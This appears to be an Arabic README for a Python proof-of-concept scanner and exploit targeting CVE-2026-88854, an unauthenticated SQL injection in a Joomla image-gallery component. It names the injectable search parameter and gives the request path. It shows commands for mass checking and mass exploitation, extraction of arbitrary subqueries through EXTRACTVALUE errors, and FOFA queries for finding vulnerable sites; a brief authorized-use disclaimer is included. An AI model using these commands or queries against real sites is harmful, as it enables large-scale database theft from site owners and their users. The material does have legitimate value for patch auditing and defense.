
ماسح PoC واستغلال بلغة Python 3 للثغرة CVE-2026-88854، وهي حقن SQL غير مُصادَق عليه في OrdaSoft Joomla Gallery، مع وضعي الفحص الجماعي وقراءة البيانات عبر EXTRACTVALUE.
ماسح/مستغل PoC بلغة Python 3 لـ CVE-2026-88854 في OrdaSoft OS Responsive Image Gallery الخاص بـ Joomla.
| المكوّن | com_osgallery, com_osgallery_light |
| المتأثر | 1.0.0 – 6.2.6 |
| تم الإصلاح في | 6.2.7+ |
| CVSS 4.0 | 9.3 (حرج) |
| المصادقة | لا شيء (عام mod_osgallery_search) |
| CWE | CWE-89 |
تقرأ showSearchResult() / showSearchResultAjax() القيمتين textsearch / searchText عبر $input->getVar()، والتي لا تطبّق تهريب SQL المناسب. يتم دمج القيمة في جملة LIKE. يمكن للزوار غير المصادق عليهم استخدام حقن من نوع UNION لقراءة محتويات قاعدة البيانات.
سطح الطلب النموذجي:
GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...
قد تستخدم التثبيتات القديمة اسم المهمة searhResult (خطأ إملائي).
pip install -r requirements.txtpip install -r requirements.txt
# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit \
--subquery "SELECT DATABASE()"
# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
--output exploit_results.jsonl --vuln-list exploited.txt
# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl
| الملف | المحتوى |
|---|---|
cve_2026_88854_results.jsonl | JSON لكل هدف |
hits.txt | عناوين URL المرشحة (exploitable_candidate) |
status الشائعة (check)audit_scan.py)بعد إجراء check جماعي، شغّل audit_scan.py لإعادة جلب ملفات manifest الخاصة بالمسؤول وتقسيم الأهداف:
يُقرأ إصدار المعرض من عنصر <version> في administrator/components/com_osgallery/osgallery.xml، وليس من سمة extension version= الخاصة بـ Joomla.
EXTRACTVALUE القائمة على الخطأ في MySQL؛ قد لا ينتج MariaDB/Postgres أو الأخطاء المعطّلة أو WAF أي تسريب حتى عندما ينطبق CVE.https://host/site).app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"
.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
قوائم الأهداف المحلية ومخرجات التشغيل (list.txt، fofa*.csv، *.jsonl، hits*.txt، …) موجودة في .gitignore ولا ينبغي إيداعها.
لـ اختبارات الأمان المصرّح بها فقط. أنت مسؤول عن الامتثال للقوانين المعمول بها وقواعد البرامج.
| الخيار | الوصف |
|---|
-u, --url | عنوان URL الأساسي لهدف واحد (التثبيتات في مجلد فرعي: أدرج المسار) |
--list | ملف قائمة الأهداف (عنوان URL واحد لكل سطر) |
--mode | check أو exploit |
--subquery | استعلام SQL داخل EXTRACTVALUE (وضع exploit، الافتراضي SELECT VERSION()) |
--threads, -j | التزامن الجماعي (الافتراضي 20) |
--timeout | مهلة HTTP بالثواني (الافتراضي 20) |
--proxy | عنوان URL لوكيل HTTP(S) |
--output | نتائج JSONL (الافتراضي cve_2026_88854_results.jsonl) |
--vuln-list | check → hits.txt؛ exploit → exploited.txt |
--quiet, -q | إخراج تقدّم أقل |
| الحالة | المعنى |
|---|
sqli_confirmed | حقن SQL قائم على الخطأ/الوقت أو تسريب EXTRACTVALUE مُتحقق منه |
likely_vulnerable_version | إصدار manifest ≤ 6.2.6 + نقطة نهاية البحث |
likely_component | تم اكتشاف المعرض، الإصدار غير معروف |
boolean_inconclusive | فرق طول الاستجابة فقط (غالبًا WAF)؛ لا يُحتسب كمؤكد |
patched_version | إصدار manifest > 6.2.6 |
component_no_search_endpoint | المكوّن موجود، مهمة البحث غير قابلة للوصول |
no_component | لم يتم اكتشاف com_osgallery |
| الملف | المحتوى |
|---|
hits_version_lte_626.txt | إصدار المعرض في manifest ≤ 6.2.6 |
hits_component_endpoint.txt | المعرض + نقطة النهاية، الإصدار غير قابل للقراءة |
hits_patched.txt | manifest > 6.2.6 |
fofa_stale.txt | لا يوجد مكوّن (صف FOFA قديم) |
cve_2026_88854_audit.jsonl | JSONL مُثرى |